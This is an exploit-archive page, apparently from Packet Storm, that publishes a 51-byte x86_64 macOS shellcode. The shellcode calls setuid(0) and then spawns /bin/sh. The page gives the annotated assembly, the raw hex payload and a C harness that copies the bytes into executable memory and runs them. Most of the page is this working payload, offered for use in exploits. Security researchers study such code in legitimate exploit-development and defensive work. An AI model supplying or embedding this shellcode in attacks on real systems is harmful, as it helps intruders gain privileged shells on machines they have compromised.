what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OSX/Intel Setuid Shell x86_64 Shellcode

OSX/Intel Setuid Shell x86_64 Shellcode
Posted Nov 29, 2010
Authored by Dustin Schultz

51 bytes small OSX / Intel setuid shell for x86_64.

tags | shell, shellcode
systems | apple
SHA-256 | e56a150366939c8d2fa0d474bc230706267ab77325fad7bc44997a5ba34283b2

OSX/Intel Setuid Shell x86_64 Shellcode

Change Mirror Download
/*
* Title: OSX/Intel - setuid shell x86_64 - 51 bytes
* Date: 2010-11-25
* Tested on: Mac OS X 10.6.5 - Darwin Kernel Version 10.5.0
* Author: Dustin Schultz - twitter: @thexploit
*
* http://thexploit.com
*
* BITS 64
*
* section .text
* global start
*
* start:
* a:
* mov r8b, 0x02 ; Unix class system calls = 2
* shl r8, 24 ; shift left 24 to the upper order bits
* or r8, 0x17 ; setuid = 23, or with class = 0x2000017
* xor edi, edi ; zero out edi
* mov rax, r8 ; syscall number in rax
* syscall ; invoke kernel
* jmp short c ; jump to c
* b:
* pop rdi ; pop ret addr which = addr of /bin/sh
* add r8, 0x24 ; execve = 59, 0x24+r8=0x200003b
* mov rax, r8 ; syscall number in rax
* xor rdx, rdx ; zero out rdx
* push rdx ; null terminate rdi, pushed backwards
* push rdi ; push rdi = pointer to /bin/sh
* mov rsi, rsp ; pointer to null terminated /bin/sh string
* syscall ; invoke the kernel
* c:
* call b ; call b, push ret of /bin/sh
* db '/bin//sh' ; /bin/sh string
*/


#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
"\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
"\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x2f\x73\x68";

int main(int argc, char **argv) {

void *ptr = mmap(0, 0x33, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}

memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;

sc();

return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close